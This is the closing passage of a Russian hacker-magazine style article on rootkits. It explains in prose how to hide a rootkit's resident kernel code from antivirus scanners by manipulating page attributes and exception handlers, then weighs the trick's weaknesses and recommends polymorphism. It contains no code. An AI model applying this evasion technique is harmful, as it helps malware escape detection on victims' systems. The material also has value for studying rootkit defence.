Сбрасываем страницы, принадлежащие нашему резидентному коду, в no_access, вешаем обработчик исключений, отлавливающий ошибки доступа к памяти и терпеливо ждем. Как только возникнет исключение - смотрим: если на вершине стека находится адрес возврата в системный вызов (для этого перехват должен осуществляться командой CALL, а не jump), то возвращаем все атрибуты на место и даем зеленый свет на выполнение резидентного кода, а в момент передачи управления оригинальному системному вызову - отбираем атрибуты обратно. Если же резидентный код пытается читать кто-то еще (что за посторонние тут шляются, спать мешают!) - подсовываем другую страницу (например, путем манипуляций с каталогом страниц). Более сложные реализации не восстанавливают атрибуты, а используют пошаговую трассировку резидентного кода или даже эмулируют его выполнение, но это уже передоз, то есть перебор.

Просто? Как два пальца! Эффективно? А вот насчет эффективности мыщъха терзают смутные сомнения. Но ведь не он же этот трюк придумал! Так что, может и покритиковать. Первое и самое главное. Читать резидентный код в памяти ядра могут не только антивирусы, но и само ядро при вытеснении его на диск или переходе в "спящий" режим. Как следствие - возникает конфликт и rootkit работает нестабильно. Второе - код обработчика остается незащищенным (а защитить его никак нельзя, поскольку кто-то же должен обрабатывать исключения!), следовательно, он элементарно палиться по сигнатурному поиску. Как говорится, за что боролись - на то и напоролись.

Короче - без полиморфизма никуда. Это вам мыщъх говорит! Чтобы мой хвост никогда не вставал, если это не так!

Заключение

Почему-то на всех (ну, или практически всех) фильмах пишут "детям до... рекомендуется смотреть в присутствии взрослых" и еще никто не догадался написать: "рекомендуется смотреть в отсутствии взрослых", что гораздо ближе к истине. Какое отношение это имеет к rootkit'ам и невидимым LKM-модулям? Да самое прямое! Rootkit - детям не игрушка, не товарищ и не друг, и прежде, чем начинать хакерствовать, следует обучиться не только искусству программирования, но и приемам рукопашной борьбы, а то ведь... в жизни всякое случается.

https://nebka.ru/?uid=1&post=20954